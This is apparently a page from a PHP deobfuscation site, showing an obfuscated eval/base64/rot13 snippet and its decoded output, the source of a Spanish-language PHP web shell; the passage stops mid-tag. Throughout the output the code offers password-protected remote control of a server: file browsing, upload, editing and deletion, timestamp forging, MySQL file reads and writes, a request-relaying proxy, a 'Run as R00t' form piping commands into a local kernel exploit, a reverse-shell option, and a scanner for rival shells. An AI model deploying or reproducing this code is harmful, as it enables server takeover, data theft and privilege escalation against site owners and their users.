Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode(str_rot13('WTMcpz1upm1upaWurFttVxImqTShMTSlVTI2LJjbLzSmMGL0K2EyL2..
Decoded Output download
$firmas=array( "Estandar eval(base64_decode())"=>"/eval\s*\(\s*base64_decode\(\s*/", "eval(gzinflate(base64_decode()))"=>"/eval\s*\(gzinflate\s*\(\s*base64_decode\s*\(\s*/", "D4NB4R WAS HERE"=>"/D4NB4R WAS HERE/", "md5(Safety)"=>"/6472ce41c26babff27b4c28028093d77/", "md5(backdoor1)"=>"/f32e7903a13ff43da2ef1baf36adeca9/", "WSO 2.1 (Web Shell by oRb)"=>"/10b27b168be0f7e90496dbc5fcfa63fc/", "WSO 2.1 (Web Shell by oRb) 2"=>"/Web Shell by oRb/", "milw0rm.com"=>"/milw0rm\.com/", "exploit-db.com"=>"/exploit-db\.com/", "FilesMan"=>"/preg_replace\s*\(\s*(\"|')\/\.\*\/e(\"|')/", "CMD"=>'/(system|exec|passthru)\(\s*\$_GET\[([^\w\d]|\"|\')*cmd([^\w\d]|"|\')*\]\s*\)/', "CC's dump"=>"/num_tarjeta,codigo_sec,fecha_expira/i", "MySQL root 12345"=>"/'root','12345'/i" );function logscreen($data){ print $data; } function recursivo($path){ global $firmas; $dh=opendir($path); while (($file = readdir($dh)) !== false) { if(!preg_match("/^\.+$/",$file)){ $dir=$path."/".$file; if(is_dir($dir)){ recursivo($dir); } elseif(preg_match("/\.php(\.[\w\d]*)?$/i",$file)){ $fh=fopen($dir,"r"); $leidas=0; while(($linea=fread($fh,2048))!==false){ foreach($firmas as $descripcion => $firma){ if(preg_match($firma,$linea)){ logscreen("<b>[-] Shell found: </b>".$dir."<br />\n"); logscreen("<b>[i]Firma: </b>".$descripcion."<br /><br />\n"); break 2; } } $leidas+=1; if($leidas>200){ break; } } } } } } function shellfinder(){ error_reporting(E_ALL); @apache_setenv('no-gzip', 1); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); @ini_set('zlib.output_compression', 0); @ini_set('implicit_flush', 1); for ($i = 0; $i < ob_get_level(); $i++){ob_end_flush();} ob_implicit_flush(1); set_time_limit(0);logscreen("<b>[-] Buscando...</b><br />\n"); recursivo(isset($_GET['path']) ? $_GET['path'] : "."); exit;}
error_reporting(7);
@set_magic_quotes_runtime(0);
@setlocale(LC_CTYPE, "en_US.UTF-8");
if(isset($_GET['pro'])){if(isset($_GET['sn'])){$allow_url_fopen=ini_get('allow_url_fopen');$sockets=0;$sniffer=0;$snifferror_code='';$snifferror_message='';if(function_exists('fsockopen')){$sockets2=1;}$ssl=1;if (!extension_loaded('openssl')) {$ssl=0;}if(function_exists('socket_create')){$sockets=1;$socket = @socket_create(AF_INET , SOCK_RAW , SOL_TCP);if($socket){$buf=@socket_read($socket, 65536);$sniffer=1;}else
{$snifferror_code = '['.socket_last_error().'] ';$snifferror_message = socket_strerror($error_code);}}if($ssl==1){print '<b>[-] SSL enabled!</b><br />';}if($sockets2==1){print '<b>[-] fsockopen enabled!</b><br />';} else {print '<b>[x] fsockopen disabled!</b><br />';}if($sockets===1){print '<b>[-] Sockets enabled!</b><br />';}else {print "<b>[x] Sockets disabled! :(</b><br />";}if($sniffer===1){echo "<b>[-] I can sniff!! :D...</b>\n";} else {echo "<b>[x] I can't sniff :(".$snifferror_code.$snifferror_message."</b><br />";}if($allow_url_fopen===false){print '<b>[x] init_get not support allow_url_fopen :S<b><br />';} else {print '<b>['.($allow_url_fopen=='1' ? '-' : 'x').'] init_get(\'allow_url_fopen\')='.$allow_url_fopen.' ('.($allow_url_fopen=='1' ? 'on' : 'off').')<b><br />';}
}function invalidrequest(){print "HTTP/1.1 500\r\nServer: Zero-Proxy\r\nContent-Length: 25\r\n\r\n<h1>Invalid request!</h1>\r\n";exit;
}$dossl=false;
if(isset($_POST['request'])){$host=$_POST['host'];if(preg_match("/^do-ssl-zero\./",$host)){$dossl=true;$host=preg_replace("/^do-ssl-zero\./","",$host);}$port=$_POST['port'];$request=base64_decode($_POST['request']);$address = gethostbyname($host);$socktype='fsockopen';if (function_exists('socket_create') || function_exists('fsockopen')){if(isset($port) and (FALSE!==($socket=@fsockopen(($dossl ? 'ssl://' : '').$host,$port)) || (function_exists('socket_create') && ($socket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) and socket_connect($socket, $address, $port) && $socktype='socket'))){if($socktype=='socket')@socket_write($socket, $request);else
@fwrite($socket, $request);$buf='';if($socktype=='socket'){while(false !== ($buf = socket_read($socket, 2048))) {if($buf=='') break;print $buf;}} else {$allbuffer="";while (($buf = fgets($socket, 2048)) !== false) {print $buf;}}if($socktype=='socket')@socket_close($socket);else
@fclose($socket);}else { print "HTTP/1.1 500\r\nServer: Zero-Proxy\r\nContent-Length: 27\r\n\r\n<h1>Server not found</h1>\r\n";}} elseif(ini_get('allow_url_fopen')=='1'){if(preg_match("/^(.+?)\r?\n\r?\n(.*)$/ms",$request,$parser1)){$params = array('http' => array
('method' => 'GET','header'=>"",));$header=$parser1[1];$content=$parser1[2];$header=str_replace("\r","",$header);$headers=explode("\n",$header);$fline=array_shift($headers);$urltarget="";if(preg_match("/^(\w+)\s+([^\s]+)\s+(HTTP\/(\d\.\d))$/",$fline,$flineparsed)){if(!preg_match("/^(GET|POST|HEAD|PUT|OPTIONS)$/i",$flineparsed[1])){invalidrequest();}$params['http']['method']=$flineparsed[1];if(preg_match("/^http\:/i",$flineparsed[2])){$urltarget=$flineparsed[2];} else {$urltarget="http://".$host.($port!='80' ? ":".$port : '').$flineparsed[2];}} else {invalidrequest();}$next_header="";foreach($headers as $head){if(!preg_match("/^(Content-Length|Connection|Accept-Encoding)/i",$head)){$next_header.=$head."\r\n";}}$params['http']['header']=$next_header;if($content!='')$params['http']['content']=$content;$context = @stream_context_create($params);$openfile=@fopen($urltarget, 'r',false, $context);if(isset($http_response_header)){foreach($http_response_header as $rhead){print $rhead."\r\n";}print "\r\n";}if ($openfile) {while (($buf = @fgets($openfile, 2048)) !== false) {echo $buf;}@fclose($openfile);}}} else {print "HTTP/1.1 500\r\nServer: Zero-Proxy\r\nContent-Length: 26\r\n\r\n<h1>Server not usable</h1>\r\n";}}exit;
}
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0);
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0);
@set_time_limit(0);
foreach(array('_GET','_POST') as $_request) {foreach($$_request as $_key => $_value) {if ($_key{0} != '_') {if (IS_GPC) {$_value = s_array($_value);}$$_key = $_value;}}}$admin = array();
$admin['check'] = true;
$admin['pass'] = '82d9a77175cd1d9a052d6f8e35194aa0';
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
$charsetdb = array('armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','eucjpms','euckr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8'
);
if ($charset == 'utf8') {header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {header("content-Type: text/html; charset=iso-8859-2");
} elseif ($charset == 'euckr') {header("content-Type: text/html; charset=euc-kr");
} elseif ($charset == 'eucjpms') {header("content-Type: text/html; charset=euc-jp");
}$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
if ($action == "logout") {scookie('loginpass', '', -86400 * 365);p('<meta http-equiv="refresh" content="1;URL='.$self.'">');p('<a style="font:12px Verdana" href="'.$self.'">Adios, no vuelvas!!</a>');exit;
}if($admin['check']) {if ($doing == 'login') {if ($admin['pass'] == md5($password)) {scookie('loginpass', md5($password));p('<meta http-equiv="refresh" content="1;URL='.$self.'">');p('<a style="font:12px Verdana" href="'.$self.'">Ingresando...</a>');exit;}}if ($_COOKIE['loginpass']) {if ($_COOKIE['loginpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}if(isset($_GET['sf'])) shellfinder();$errmsg = '';ob_start();if ($action == 'phpinfo') {if (IS_PHPINFO) {phpinfo();exit;} else {$errmsg = 'phpinfo() no esta habilitado';}}if ($doing == 'downfile' && $thefile) {if (!@file_exists($thefile)) {$errmsg = 'El archivo que desea descargar no existe';} else {$fileinfo = pathinfo($thefile);header('Content-type: application/x-'.$fileinfo['extension']);header('Content-Disposition: attachment; filename='.$fileinfo['basename']);header('Content-Length: '.filesize($thefile));@readfile($thefile);exit;}}if ($doing == 'backupmysql' && !$saveasfile) {mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);$table = array_flip($table);$result = q("SHOW tables");if (!$result) p('<h2>'.mysql_error().'</h2>');$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');header('Content-type: application/unknown');header('Content-Disposition: attachment; filename='.$filename);$mysqldata = '';while ($currow = mysql_fetch_array($result)) {if (isset($table[$currow[0]])) {$mysqldata .= sqldumptable($currow[0]);}}mysql_close();exit;
}if($doing=='mysqldown'){if (!$dbname) {$errmsg = 'Ingrese el dbname';} else {mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);if (!file_exists($mysqldlfile)) {$errmsg = 'El archivo que desea descargar no existe';} else {$result = q("select load_file('$mysqldlfile');");if(!$result){q("DROP TABLE IF EXISTS tmp_angel;");q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");$result = q("select content from tmp_angel");q("DROP TABLE tmp_angel");}$row = @mysql_fetch_array($result);if (!$row) {$errmsg = 'Load file failed '.mysql_error();} else {$fileinfo = pathinfo($mysqldlfile);header('Content-type: application/x-'.$fileinfo['extension']);header('Content-Disposition: attachment; filename='.$fileinfo['basename']);header("Accept-Length: ".strlen($row[0]));echo $row[0];exit;}}}}if(isset($_GET['rt'])){?>
<form action="?rt" method="POST">
<table>
<tr><td><b>Exploit: <b></td><td><input type="text" name="exploit" value="<?php if(isset($_POST['exploit'])){print htmlentities($_POST['exploit']);} else {print '/tmp/2.6.18-56'; } ?>"></td></tr>
<tr><td><b>CMD: <b></td><td><textarea type="text" name="cmd" rows="4" cols="50"><?php if(isset($_POST['cmd'])){print htmlentities($_POST['cmd']);} ?></textarea></td></tr>
<tr><td></td><td><input type="submit" value="Run as R00t"></td></tr>
</table>
</form>
<?php
if(isset($_POST['cmd'])){$fp = fopen('/tmp/cmd.txt', 'w');fwrite($fp, $_POST['cmd']."\n");fwrite($fp, "exit\n");fclose($fp);print "<pre>".htmlentities(execute("cat /tmp/cmd.txt | ".$_POST['exploit']))."</pre>";}exit;
}?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace('.','','P.h.p.-.-.-');?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}a {color: #00f;text-decoration:underline;}a:hover{color: #f00;text-decoration:none;}.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}.head td span{font-weight:normal;}form{margin:0;padding:0;}h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}ul.info li{margin:0;color:#444;line-height:24px;height:24px;}u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}</style>
<script type="text/javascript">
function CheckAll(form) {for(var i=0;i<form.elements.length;i++) {var e = form.elements[i];if (e.name != 'chkall')e.checked = form.chkall.checked;
}}function $(id) {return document.getElementById(id);
}function goaction(act){$('goaction').action.value=act;$('goaction').submit();
}</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head">
<td><span style="float:right;"><?php echo str_replace('.','','P.h.p.-.-.-');?> </span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
</tr>
<tr class="alt1">
<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
<a href="javascript:goaction('logout');">Salir</a> |
<a href="javascript:goaction('file');">Archivos</a> |
<a href="javascript:goaction('mysqladmin');">MYSQL</a> |
<a href="javascript:goaction('mssqladmin');">MSSQL</a> |
<a href="javascript:goaction('sqlfile');">Subir/Bajar MySQLDB</a> |
<a href="javascript:goaction('shell');">Ejecutar Comando</a> |
<a href="javascript:goaction('phpenv');">Variables PHP</a> |
<a href="javascript:goaction('eval');">Ejecutar PHP</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Shell inversa</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
if (!$dir) {if ($_SERVER["DOCUMENT_ROOT"]) {$dir = $_SERVER["DOCUMENT_ROOT"];} else {$dir = '.';}}$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {$dir = $dir.'/';
}$uedir = ue($dir);
if (!$action || $action == 'file') {$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';if ($doing == 'deldir' && $thefile) {if (!file_exists($thefile)) {m($thefile.' El directorio no existe');} else {m('Borrado '.(deltree($thefile) ? basename($thefile).' exitoso' : 'fallido'));}}elseif ($newdirname) {$mkdirs = $nowpath.$newdirname;if (file_exists($mkdirs)) {m('El directorio ya existe');} else {m('Directorio creado '.(@mkdir($mkdirs,0777) ? 'exitoso' : 'fallido'));@chmod($mkdirs,0777);}}elseif ($doupfile) {m('Upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'exitoso' : 'fallido'));}elseif ($editfilename && $filecontent) {$fp = @fopen($editfilename,'w');m('Guardado '.(@fwrite($fp,$filecontent) ? 'exitoso' : 'fallido'));@fclose($fp);}elseif ($pfile && $newperm) {if (!file_exists($pfile)) {m('El archivo original no existe');} else {$newperm = base_convert($newperm,8,10);m('Modificar atributos '.(@chmod($pfile,$newperm) ? 'exitoso' : 'fallido'));}}elseif ($oldname && $newfilename) {$nname = $nowpath.$newfilename;if (file_exists($nname) || !file_exists($oldname)) {m($nname.' has already existed or original file does not exist');} else {m(basename($oldname).' renombrado '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));}}elseif ($sname && $tofile) {if (file_exists($tofile) || !file_exists($sname)) {m('The goal file has already existed or original file does not exist');} else {m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));}}elseif ($curfile && $tarfile) {if (!@file_exists($curfile) || !@file_exists($tarfile)) {m('The goal file has already existed or original file does not exist');} else {$time = @filemtime($tarfile);m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'exitoso' : 'fallido'));}}elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {if (!@file_exists($curfile)) {m(basename($curfile).' does not exist');} else {$time = strtotime("$year-$month-$day $hour:$minute:$second");m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'exitoso' : 'fallido'));}}elseif($doing == 'downrar') {if ($dl) {$dfiles='';foreach ($dl as $filepath => $value) {$dfiles.=$filepath.',';}$dfiles=substr($dfiles,0,strlen($dfiles)-1);$dl=explode(',',$dfiles);$zip=new PHPZip($dl);$code=$zip->out;header('Content-type: application/octet-stream');header('Accept-Ranges: bytes');header('Accept-Length: '.strlen($code));header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');echo $code;exit;} else {m('Please select file(s)');}}elseif($doing == 'delfiles') {if ($dl) {$dfiles='';$succ = $fail = 0;foreach ($dl as $filepath => $value) {if (@unlink($filepath)) {$succ++;} else {$fail++;}}m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);} else {m('Please select file(s)');}}formhead(array('name'=>'createdir'));makehide('newdirname');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'fileperm'));makehide('newperm');makehide('pfile');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'copyfile'));makehide('sname');makehide('tofile');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'rename'));makehide('oldname');makehide('newfilename');makehide('dir',$nowpath);formfoot();formhead(array('name'=>'fileopform', 'target'=>'_blank'));makehide('action');makehide('opfile');makehide('dir');formfoot();formhead(array('name'=>'getsize'));makehide('getdir');makehide('dir');formfoot();$free = @disk_free_space($nowpath);!$free && $free = 0;$all = @disk_total_space($nowpath);!$all && $all = 0;$used = $all-$free;$used_percent = @round(100/($all/$free),2);p('<h2>Archivos// - Espacio en disco '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Ruta Actual (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="IR A RUTA" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){var newdirname;newdirname = prompt('Ingrese el nombre del directorio:', '');if (!newdirname) return;$('createdir').newdirname.value=newdirname;$('createdir').submit();
}function fileperm(pfile){var newperm;newperm = prompt('Archivo:'+pfile+'\nIngrese los nuevos atributos:', '');if (!newperm) return;$('fileperm').newperm.value=newperm;$('fileperm').pfile.value=pfile;$('fileperm').submit();
}function copyfile(sname){var tofile;tofile = prompt('Ruta actual:'+sname+'\nIngrese la ruta donde se copiara:', '');if (!tofile) return;$('copyfile').tofile.value=tofile;$('copyfile').sname.value=sname;$('copyfile').submit();
}function rename(oldname){var newfilename;newfilename = prompt('Nombre actual:'+oldname+'\nIngrese un nuevo nombre:', '');if (!newfilename) return;$('rename').newfilename.value=newfilename;$('rename').oldname.value=oldname;$('rename').submit();
}function dofile(doing,thefile,m){if (m && !confirm(m)) {return;}$('filelist').doing.value=doing;if (thefile){$('filelist').thefile.value=thefile;}$('filelist').submit();
}function createfile(nowpath){var filename;filename = prompt('Ingrese el nombre del archivo:', '');if (!filename) return;opfile('editfile',nowpath + filename,nowpath);
}function opfile(action,opfile,dir){$('fileopform').action.value=action;$('fileopform').opfile.value=opfile;$('fileopform').dir.value=dir;$('fileopform').submit();
}function godir(dir,view_writable){if (view_writable) {$('godir').view_writable.value=view_writable;}$('godir').dir.value=dir;$('godir').submit();
}function getsize(getdir,dir){$('getsize').getdir.value=getdir;$('getsize').dir.value=dir;$('getsize').submit();
}</script>
<?php
$findstr = $_POST['findstr'];$re = $_POST['re'];tbhead();p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div></form>');p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');p(' | <a href="javascript:godir(\'.\');">Ruta Shell</a>');p(' | <a href="javascript:godir(\''.$nowpath.'\');">Ver todo</a>');p(' | View Writable (<a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directorio</a>');p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">Archivo</a>)');p(' | <a href="javascript:createdir();">Crear Directorio</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Crear Archivo</a>');if (IS_WIN && IS_COM) {$obj = new COM('scripting.filesystemobject');if ($obj && is_object($obj) && is_array($obj->Drives)) {$DriveTypeDB = array(0 => 'Unknown',1 => 'Removible',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');foreach($obj->Drives as $drive) {if ($drive->DriveType == 2) {p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Libre:'.sizecount($drive->FreeSpace).' Tipo:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');} else {p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Tipo:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');}}}}p('<br /><form action="'.$self.'" method="POST">Buscar texto en archivos: <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Buscar" type="submit" /> Extension: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Expresiones regulares</form></td></tr>');p('<tr class="head"><td> </td><td>Nombre</td><td width="16%">Ultima modificacion</td><td width="10%">Size</td><td width="20%">Chmod / Permiso</td><td width="22%">Acciones</td></tr>');$dirdata=array();$filedata=array();if ($view_writable == 'dir') {$dirdata = GetWDirList($nowpath);$filedata = array();} elseif ($view_writable == 'file') {$dirdata = array();$filedata = GetWFileList($nowpath);} elseif ($findstr) {$dirdata = array();$filedata = GetSFileList($nowpath, $findstr, $re);} else {$dirs=@opendir($dir);while ($file=@readdir($dirs)) {$filepath=$nowpath.$file;if(@is_dir($filepath)){$dirdb['filename']=$file;$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));$dirdb['dirchmod']=getChmod($filepath);$dirdb['dirperm']=getPerms($filepath);$dirdb['fileowner']=getUser($filepath);$dirdb['dirlink']=$nowpath;$dirdb['server_link']=$filepath;$dirdb['client_link']=ue($filepath);$dirdata[]=$dirdb;} else {$filedb['filename']=$file;$filedb['size']=sizecount(@filesize($filepath));$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));$filedb['filechmod']=getChmod($filepath);$filedb['fileperm']=getPerms($filepath);$filedb['fileowner']=getUser($filepath);$filedb['dirlink']=$nowpath;$filedb['server_link']=$filepath;$filedb['client_link']=ue($filepath);$filedata[]=$filedb;}}unset($dirdb);unset($filedb);@closedir($dirs);}@sort($dirdata);@sort($filedata);$dir_i = '0';foreach($dirdata as $key => $dirdb){if($dirdb['filename']!='..' && $dirdb['filename']!='.') {if($getdir && $getdir == $dirdb['server_link']) {$attachsize = dirsize($dirdb['server_link']);$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';} else {$attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Calcular</a>';}$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');p('<td nowrap>'.$dirdb['mtime'].'</td>');p('<td nowrap>'.$attachsize.'</td>');p('<td nowrap>');p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Esta seguro de borrar <'.$dirdb['filename'].'>? \\n\\nSi el directorio no esta vacio, todos los archivos se borraran.\')">Borrar</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Renombrar</a></td>');p('</tr>');$dir_i++;} else {if($dirdb['filename']=='..') {p('<tr class='.bg().'>');p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');p('</tr>');}}}p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');makehide('action','file');makehide('thefile');makehide('doing');makehide('dir',$nowpath);$file_i = '0';foreach($filedata as $key => $filedb){if($filedb['filename']!='..' && $filedb['filename']!='.') {$fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');p('<td nowrap>'.$filedb['mtime'].'</td>');p('<td nowrap>'.$filedb['size'].'</td>');p('<td nowrap>');p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');p('<td nowrap>');p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Descargar</a> | ');p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copiar</a> | ');p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Editar</a> | ');p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Renombrar</a> | ');p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Tiempo</a>');p('</td></tr>');$file_i++;}}p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Descargar seleccionados</a> - <a href="javascript:dofile(\'delfiles\');">Borrar seleccionados</a></td><td colspan="4" align="right">'.$dir_i.' directorios / '.$file_i.' archivos</td></tr>');p('</form></table>');
}elseif ($action == 'sqlfile') {if($doing=="mysqlupload"){$file = $_FILES['uploadfile'];$filename = $file['tmp_name'];if (file_exists($savepath)) {m('El archivo ya existe');} else {if(!$filename) {m('Elija un archivo');} else {$fp=@fopen($filename,'r');$contents=@fread($fp, filesize($filename));@fclose($fp);$contents = bin2hex($contents);if(!$upname) $upname = $file['name'];mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");m($result ? 'Subida con exito' : 'Subida fallida: '.mysql_error());}}}?>
<script type="text/javascript">
function mysqlfile(doing){if(!doing) return;$('doing').value=doing;$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;$('mysqlfile').dbport.value=$('dbinfo').dbport.value;$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;$('mysqlfile').dbname.value=$('dbinfo').dbname.value;$('mysqlfile').charset.value=$('dbinfo').charset.value;$('mysqlfile').submit();
}</script>
<?php
!$dbhost && $dbhost = 'localhost';!$dbuser && $dbuser = 'root';!$dbport && $dbport = '3306';formhead(array('title'=>'MYSQL Info','name'=>'dbinfo'));makehide('action','sqlfile');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));p(':');makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));p('DBName:');makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));p('DBCharset:');makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));p('</p>');formfoot();p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');p('<h2>Subir archivo</h2>');p('<p><b>Para realizar esto el usuario DB debe tener privilegios FILE</b></p>');p('<p>Ruta guardado: <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');p('<h2>Descargar archivo</h2>');p('<p>Archivo: <input class="input" name="mysqldlfile" size="115" type="text" /> <a 